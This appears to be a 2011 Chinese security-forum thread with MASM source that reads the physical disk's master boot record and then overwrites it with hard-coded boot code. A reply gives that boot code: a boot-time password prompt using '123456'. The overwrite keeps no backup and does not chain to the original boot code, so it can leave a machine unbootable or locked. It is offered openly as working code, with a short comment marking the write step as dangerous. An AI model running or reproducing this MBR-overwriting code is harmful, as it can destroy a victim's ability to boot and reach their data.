首页
社区
课程
招聘
[旧帖] [原创]读写主引导记录(MBR)的ASM源码 0.00雪花
发表于: 2011-1-26 21:34 4079

[旧帖] [原创]读写主引导记录(MBR)的ASM源码 0.00雪花

2011-1-26 21:34
4079

;QQ:471838370
.386
                         .model flat,stdcall
                         option casemap:none
;*******************************************************************
include    windows.inc
include    user32.inc
includelib user32.lib
include    kernel32.inc
includelib kernel32.lib
CTXT MACRO text
        local lbl
        .const
                lbl db text,0
        .code
        exitm   <offset lbl>
ENDM
;*******************************************************************
                        .data
szFmt       db "%02X",20h,20h,0
szenter     db  0dh,0ah,0
Device      db '\\.\PhysicalDrive0',0
szcount     dd    0  
szLine      db   "_____________________________M____B____R__________________________",0
szLIne1     db   "__________________________________________________________________",0
szPassword  db 08Ch, 0C8h, 08Eh, 0D8h, 0B8h, 000h, 006h, 0BBh, 000h, 007h, 033h, 0C9h, 0BAh, 04Fh, 018h, 0CDh 
          db 010h, 0BEh, 067h, 07Dh, 0B7h, 000h, 0BAh, 01Eh, 00Ch, 0B4h, 002h, 0CDh, 010h, 08Ah, 004h, 03Ch 
          db 000h, 074h, 009h, 046h, 0B3h, 007h, 0B4h, 00Eh, 0CDh, 010h, 0EBh, 0F1h, 08Dh, 036h, 077h, 07Dh
          db 0B5h, 006h, 0B4h, 000h, 0CDh, 016h, 08Ah, 00Ch, 03Ah, 0C1h, 075h, 001h, 046h, 0B8h, 02Ah, 00Eh 
          db 0B3h, 007h, 0CDh, 010h, 0FEh, 0CDh, 080h, 0FDh, 000h, 075h, 0E7h, 08Ah, 00Ch, 080h, 0F9h, 0FFh
          db 075h, 0B2h, 033h, 0C0h, 08Eh, 0D0h, 0C3h, 049h, 06Eh, 070h, 075h, 074h, 020h, 070h, 061h, 073h 
          db 073h, 077h, 06Fh, 072h, 064h, 03Ah, 000h, 031h, 032h, 033h, 034h, 035h, 036h, 0FFh
            

data0       db 0E8h, 00Dh, 001h, 090h
;*******************************************************************
                        .data?
hDevice          dd       ?           ;设备句柄
Buffer           db    1024 dup(?)
dwReturn         dd       ?           
hReadDervice     dd       ?
szBuffer         db    1024 dup (?)
szString         db    2048 dup (?)
szb              dd       ?
  
;******************************************************************
                        .code
start:
      invoke   CreateFile,offset Device,GENERIC_READ or GENERIC_WRITE,\
                       FILE_SHARE_READ OR FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL  ;打开硬盘设备
           .if  eax==INVALID_HANDLE_VALUE
                  invoke  MessageBox,NULL,CTXT("Failed - CreateFile - Open the PhysicalDrive0."),\
                                          CTXT("Read Disk MBR"),MB_OK
                  jmp  @exit                        
           .endif
      mov    hDevice,eax
      invoke  ReadFile,eax,addr Buffer,sizeof Buffer,addr dwReturn ,NULL        ;读数据到缓存区
       .if    eax==0
               invoke  MessageBox,NULL,CTXT("Failed - Read the PhysicalDrive0."),\
                                          CTXT("Read Disk MBR"),MB_OK
               jmp    @exit 
       .endif
      invoke lstrcat,addr  szString,addr szLine
      invoke lstrcat,addr  szString,addr szenter
      lea  esi,Buffer
      mov  ecx,512
      CLD
    @Buf:
      lodsb                                          ;取字节
      inc  szcount
      movzx  eax,al
      push ecx
      
      invoke  wsprintf,addr szBuffer ,addr szFmt,eax
     
      invoke lstrcat,addr  szString,addr szBuffer
      
      .if  szcount == 16
           invoke lstrcat,addr szString,addr szenter       ;换行
           mov szcount,0
      .endif
      pop ecx
      
      loop @Buf
     ; invoke lstrcat,addr  szString,addr szenter
      invoke lstrcat,addr  szString,addr szLIne1
      invoke  MessageBox,NULL,addr szString,CTXT("Read Disk MBR"),MB_OK
      invoke  CloseHandle,hDevice
;注意继续危险
      invoke   CreateFile,offset Device,GENERIC_READ or GENERIC_WRITE,\
                       FILE_SHARE_READ OR FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
      mov    hDevice,eax
      lea  esi,data0 
      lea  edi,Buffer
      cld
      mov  ecx,4
 @next: 
      movsb
      loop  @next
      lea  esi,szPassword
      lea  edi, Buffer
      add edi,110h
      cld 
      mov ecx,110
  @next1: 
      movsb
      loop  @next1    
      invoke WriteFile,hDevice,addr Buffer,512,addr dwReturn ,NULL  ;写设备
      invoke  CloseHandle,hDevice
      @exit:           
      invoke   ExitProcess,NULL 
        
      
    

;*****************************************************************
                         end start


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (6)
雪    币: 113
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习学习这个汇编代码
2011-1-26 23:50
0
雪    币: 220
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
呵呵 多看了2次
2011-1-27 01:40
0
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
呵 多看了2次
2011-1-27 13:01
0
雪    币: 36
活跃值: (45)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
assume cs:code
code segment
start:
  org 7c00h

  mov ax,cs
  mov ds,ax
t0:
  mov ax, 0600h
  mov bx, 0700h
  xor cx,cx
  mov dx, 184fh
  int 10h           ;清屏

  mov si,offset mess
  mov bh,0
  mov dx,0c1eh
  mov ah,02h
  int 10h
t1:
  mov al,[si]
  cmp al,0
  je  t2
  inc si
  mov bl,07h
  mov ah,0eh
  int 10h         ;显示提示信息
  jmp t1

t2:
  lea si,mess2
  mov ch,6
t3:
  mov ah,0
  int 16h      ;获取键盘输入

  mov cl,[si]
  cmp al,cl    ;验证密码
  jne p1
  inc si
p1:
  mov ax,0e2ah
  mov bl,07h
  int 10h      ;回显*
  dec ch
  cmp ch,0
  jne t3
  mov cl,[si]
  cmp cl,0ffh
  jne t0

jmp over

mess db 'Input password:',0
mess2 db '123456',0ffh

over:
  mov ax,4c00h   
  int 21h
code ends
  end start
此源码既是szPassword变量里所包含的代码
2011-1-27 21:18
0
雪    币: 84
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
顶!很强呀!
2011-1-28 10:35
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
在ring0下才可以用吧
2011-1-28 10:54
0
游客
登录 | 注册 方可回帖
返回
//